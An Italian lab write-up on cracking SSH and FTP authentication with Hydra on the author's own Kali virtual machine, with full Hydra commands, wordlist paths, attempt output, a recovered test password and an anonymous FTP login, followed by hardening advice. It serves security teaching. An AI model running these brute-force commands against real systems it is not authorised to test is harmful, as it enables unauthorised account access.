

## Authentication cracking w/ Hydra

**Obiettivo:** Simulare attacchi di Cracking dell'autenticazione dei servizi di rete con l'utilizzo di Hydra. Questo tool ci permette di effettuare attacchi utilizzando dizionari di Username e Password, o Brute Force puro.

**Struttura dell'esercizio:** l'esercizio è strutturato in due fasi. Nella prima fase, si procede a configurare SSH per poi testare la vulnerabilità delle credenziali con Hydra. Nella seconda fase, vediamo il Cracking relativo al servizio FTP.

### Fase 1 : Cracking dell'autenticazione di SSH con l'utilizzo di Hydra.

Per questo esercizio, si è scelto di utilizzare solo una macchina, imparando a configurare i servizi di rete e capire eventuali vantaggi/svantaggi delle tecniche di Cracking citate sopra.

- a) Il primo passo è stato quello di creare un nuovo utente, quindi su Kali, con il comando **<sudo adduser>** abbiamo creato un utente prova, di seguito chiamato "test\_user" con relativa password "testpass".

```
(kalivm@vboxkalivm)-[~]
$ sudo adduser test_user
Nuova password:
Reimmettere la nuova password:
passwd: password aggiornata correttamente
```

- b) Successivamente, è stato attivato il servizio SSH con il comando **<sudo service ssh start>** utilizzabile anche con **<sudo systemctl start ssh>**.

```
(kalivm@vboxkalivm)-[~]
$ sudo service ssh start

(kalivm@vboxkalivm)-[~]
$ sudo systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: disabled)
   Active: active (running) since Fri 2025-05-09 11:01:44 CEST; 11min ago
```

Una volta verificato che il servizio sia effettivamente stato attivato con **<sudo systemctl status ssh>** abbiamo potuto testarne la connessione con l'utente creato.

Quindi facendo **<test\_user@192.168.1.57>** abbiamo avuto conferma della connessione.

```
(test_user@vboxkalivm)-[~]
$ ssh test_user@192.168.1.57
test_user@192.168.1.57's password:
Linux vboxkalivm 6.12.20-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.20-1kali1 (2025-03-26) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May 9 11:15:39 2025 from 192.168.1.57
```

- c) Da qui, si ricorre all'utilizzo di Hydra, provando a crackare l'autenticazione del nuovo utente creato in precedenza.

Abbiamo due opzioni, a seconda di ciò che conosciamo. Con la prima, utilizzando gli switch `-l` e `-p` in minuscolo, possiamo provare a effettuare un attacco diretto, ossia presupponendo un determinato username e una determinata password. La seconda opzione, sfrutta un attacco a dizionario, quindi provando diverse combinazioni presenti in file `.txt` contenenti Username e Password.

In questo caso, si è effettuato il tentativo principale scaricando **Seclists**, che offre librerie di file contenenti username e password principali utilizzati nei sistemi.

Quindi: con il comando **<sudo apt install seclists>** abbiamo installato Seclists. Una volta installato, abbiamo provato ad effettuare un attacco a dizionario con l'aiuto delle liste.

Al comando è stato aggiunto lo switch `-V` per vedere in tempo reale i tentativi di Cracking:

```
kali@kali:~$ hydra -l /usr/share/seclists/Passwords -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.1.57 -t 3 -V ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 11:46:47
[DATA] max 3 tasks per 1 server, overall 3 tasks, 62437000000 login tries (l:624370/p:1000000), ~20812333334 tries per task
[DATA] attacking ssh://192.168.1.57:22/
[ATTEMPT] target 192.168.1.57 - login "info" - pass "123456" - 1 of 624370000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.57 - login "info" - pass "password" - 2 of 624370000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.57 - login "info" - pass "12345678" - 3 of 624370000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.57 - login "info" - pass "qwerty" - 4 of 624370000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.57 - login "info" - pass "123456789" - 5 of 624370000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.57 - login "info" - pass "12345" - 6 of 624370000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.57 - login "info" - pass "1234" - 7 of 624370000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.57 - login "info" - pass "111111" - 8 of 624370000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.57 - login "info" - pass "1234567" - 9 of 624370000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.57 - login "info" - pass "dragon" - 10 of 624370000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.57 - login "info" - pass "123123" - 11 of 624370000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.57 - login "info" - pass "baseball" - 12 of 624370000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.57 - login "info" - pass "abc123" - 13 of 624370000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.57 - login "info" - pass "football" - 14 of 624370000000 [child 2] (0/0)
```

Il comando completo utilizzato è: **<hydra -L /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.1.57 -t 3 -V ssh>**

L'operazione è risultata troppo lunga in termini di tempo, così abbiamo creato due liste di file contenenti le opzioni più comuni di Username in un file e le password più comuni in un'altro file, entrambi `.txt`.

In questo modo, Hydra ha trovato effettivamente l'Username e la Password utilizzati per l'autenticazione al servizio SSH.

Una volta risaliti ad essi, si è provato il comando con gli switch minuscoli per avere un'ulteriore conferma.

Quindi con **<hydra -L username\_list.txt -P password\_list.txt 192.168.1.57 -t 2 ssh>**

Abbiamo utilizzato le liste, per poi avere la conferma prendendo il singolo user e la singola password con **<hydra -l test\_user -p testpass 192.168.1.57 -t 2 ssh>**

L'esempio:

```
(test_user@vboxkalivm)-[~]
$ hydra -L username_list.txt -P password_list.txt 192.168.1.57 -t 2 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 11:31:50
[DATA] max 2 tasks per 1 server, overall 2 tasks, 36 login tries (l:6/p:6), ~18 tries
[DATA] attacking ssh://192.168.1.57:22/
[22][ssh] host: 192.168.1.57 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-09 11:32:35

(test_user@vboxkalivm)-[~]
$ hydra -l test_user -p testpass 192.168.1.57 -t 2 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 11:33:45
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.1.57:22/
[22][ssh] host: 192.168.1.57 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-09 11:33:45
```

### Fase 2: Cracking del servizio FTP.

In questa fase, per prima cosa, abbiamo configurato FTP.

Con i comandi **<sudo apt install vsftpd>** per installare FTP e con **<sudo service vsftpd start>** per avviarlo, abbiamo effettuato la configurazione.

Successivamente, abbiamo provato le stesse tecniche utilizzate nella fase 1, quindi con i comandi di Hydra, abbiamo effettuato degli attacchi a dizionario.

Tuttavia, essendo numerose combinazioni, il tempo richiesto sarebbe stato troppo elevato, abbiamo quindi optato per una vulnerabilità comune in servizi FTP attivi.

Infatti, nella cartella di vsftpd, precisamente in **/etc/vsftpd.conf**, troviamo il file di configurazione del servizio. In molti casi, ci si dimentica di disabilitare l'accesso con l'utente Anonymous, per questo abbiamo provato con risultato positivo.

```
(kalivm@vboxkalivm)-[~]
$ ftp 192.168.1.59
Connected to 192.168.1.59.
220 (vsFTPd 3.0.5)
Name (192.168.1.59:kalivm): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Tuttavia, l'accesso con l'utente Anonymous ci ha permesso di entrare solo in modalità passiva, quindi non avendo privilegi come utente root, le operazioni da effettuare all'interno sono limitate.

**Conclusioni:** Anche servizi di rete che apparentemente sembrano affidabili come SSH e FTP possono diventare bersagli di attacco se mal configurati.

Configurarli sempre in modo da limitare l'accesso il più possibile, in questo caso dal file **vsftpd.conf** rimuovere l'opzione dell'accesso Anonymous.

Le password deboli sono maggiormente esposte ad attacchi di cracking a Dizionario, Utilizzare sempre password contenenti più caratteri come lettere maiuscole e minuscole con simboli, in modo da ridurre l'esposizione.

Utilizzare sempre l'autenticazione a chiave pubblica per SSH e disabilitare l'accesso con password, monitorando i log.